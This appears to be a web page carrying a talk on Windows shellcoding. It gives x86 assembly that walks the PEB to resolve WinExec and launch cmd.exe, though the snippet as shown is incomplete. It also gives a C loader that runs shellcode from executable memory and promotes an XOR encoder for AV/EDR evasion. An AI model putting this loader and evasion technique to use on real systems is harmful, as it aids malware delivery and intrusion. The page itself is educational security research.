← back to scripture

shell_phone_guide

JAKESWIZ

You Used To Call Me On My Shell Phone

Author: JAKESWIZ

A six-month security research effort to extend current shellcode and post-exploitation capabilities. Windows shellcoding has a slight learning curve, moderate difficulty, and horrific public documentation. This presentation aims to set a new standard for public Windows security research and stop gatekeeping knowledge.


Who Is This Talk For?

Prerequisites


Key Learning Objectives


What Is Shellcode?

Shellcode is a piece of machine code (often very small) written in Assembly that provides:
- Direct access to low-level instructions the CPU can run directly
- A small program ran after exploiting a software vulnerability
- Usually injected into memory

It can exist in numerous forms: byte array, C/C++ array, ASM code, Base64-encoded strings, etc.

What Can Shellcode Do?


Windows vs. Linux Shellcode

Windows Linux
Different calling convention Direct syscall interface
No usage of syscall numbers or "direct" syscalls Relies on int 0x80 or syscall instructions
Relies on WinAPI (WinExec, CreateProcessA, LoadLibrary, GetProcAddress)
API functions must be resolved at runtime
Must locate DLLs in memory via PEB/TEB
Parse associated export tables
Shellcode is naturally larger Shellcode is usually smaller

PEB & TEB (Process Environment Block / Thread Environment Block)

PEB: Holds information of every individual process running in userland. Contains binary info, heap info, and more.

TEB: Responsible for holding information about the thread. TEBs point to the PEB.

Both are internal Windows data structures used by the OS and leveraged by malware/exploit developers. Understanding both is mandatory for Windows shellcoding.

Unlike Linux, we cannot rely on direct syscalls on Windows. Instead, we rely on leveraging the kernel API or WinAPI.

Shellcode on Windows works by:

  1. Reading PEB → LDR → InMemoryOrderModuleList
  2. Iterating through the linked list to find kernel32.dll
  3. Parsing the export table to find WinAPI functions (GetProcAddress, LoadLibraryA, etc.)

Dynamic WinAPI Function Address Resolution

High-level breakdown:

  1. Shellcode locates PEB
  2. Walks PEB to find kernel32.dll base address
  3. Parses PE headers → Locates Export Table
  4. Finds GetProcAddress()
  5. Resolves address of WinExec
  6. Calls WinExec("cmd.exe", 0)

Assembly representation (step-by-step):

; Find base address of kernel32.dll
xor ecx, ecx
mov eax, [fs:0x30]      ; loading PEB in EAX
mov eax, [eax+0xc]      ; EAX = PEB->Ldr
mov esi, [eax+0x14]     ; EAX = Peb->Ldr.InMemOrderModuleList
lodsd                   ; EAX = second module (ntdll.dll)
xchg eax, esi           ; swap
lodsd                   ; EAX = third module (kernel32.dll)
mov ebx, [eax+0x10]     ; EBX = base address of kernel32.dll

; Find export table of kernel32.dll
mov edx, [ebx+0x3c]     ; DOS->e_lfanew
add edx, ebx            ; PE Header
mov edx, [edx+0x78]     ; DataDirectory->VirtualAddress
add edx, ebx            ; IMAGE_EXPORT_DIRECTORY
mov esi, [edx+0x20]     ; AddressOfNames
add esi, ebx            ; kernel32.dll AddressOfNames

; Find GetProcAddress
mov esi, [edx+0x24]     ; AddressOfNameOrdinals
add esi, ebx
mov cx, [esi+ecx*2]     ; CX = Number of Function
dec ecx
mov esi, [edx+0x1c]     ; AddressOfFunctions
add esi, ebx
mov edx, [esi+ecx*4]    ; EDX = Pointer (offset)
add edx, ebx            ; EDX = Address of GetProcAddress

; Find WinExec
xor ecx, ecx
push ecx
push 0x00636578
push 0x456e6957
mov ecx, esp
push ecx
push ebx
call edx

Why MessageBoxA() Is a Solid Beginner Payload


Common Pitfalls & Gotchas

Compatibility Issues (x86/x64)

Null Bytes (\x00) and Bad Characters

NOP Sleds


Executing Shellcode in Memory via Loader

int main() {
    unsigned char shellcode[] = "...";
    PVOID pBuffer = VirtualAlloc(NULL, sizeof(shellcode)+1, 
                                  MEM_COMMIT | MEM_RESERVE, 
                                  PAGE_READWRITE);
    memcpy(pBuffer, shellcode, sizeof(shellcode));

    DWORD oldProtect = NULL;
    VirtualProtect(pBuffer, sizeof(shellcode), 
                   PAGE_EXECUTE_READWRITE, &oldProtect);

    HANDLE hThread = CreateThread(NULL, 0, pBuffer, NULL, 0, NULL);
    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    return 0;
}

Perspective: C vs. Assembly

C Programming Assembly
Clear API usage Requires dynamic resolvement of WinAPI functions
Very easy to understand Must "walk" the PEB
Less control Parse PE headers → Locate Export Table
Find GetProcAddress()
Resolve address of WinExec
Call WinExec("cmd.exe", 0)
Confusing API usage, complex, more control

Register Reference

Special Purpose Registers:
- EAX/RAX: Return values from WinAPI calls, stores temporary pointers
- EIP/RIP: Instruction pointer - important for position-independent shellcode

General Purpose Registers:
- EBX/RBX, ECX/RCX, EDX/RDX, ESI/RSI, EDI/RDI, ESP/RSP, EBP/RBP
- Store pointers for strings or shellcode data
- Walk TEB/PEB to find loaded modules via InMemOrderModuleList
- Save original stack or frame pointer for function calls


The JMP-CALL-POP Technique (Revolutionary)

The callpop-xor-encoder (GitHub: fukahi-na-tekio) solves Windows on ARM FPU emulation issues:

The Problem: Windows on ARM uses Prism emulation to run x86/x64 code. Traditional position-independent shellcode hunting techniques break.

The Solution:
1. JMP to skip ahead
2. CALL to push the address of the next instruction (where hidden payload starts) onto the stack
3. POP to pull that address out and store it
4. XOR decoder loop unscrambles the payload byte-by-byte
5. Jump to decoded shellcode

Why it's revolutionary:
- Universal decoder working on both x86 and ARM Windows
- Built-in AV/EDR bypass (not flagged like standard encoders)
- Single payload, two architectures


Resources


Malware Bless

"They're always watching, so we watch back. Expect Us."

download plain text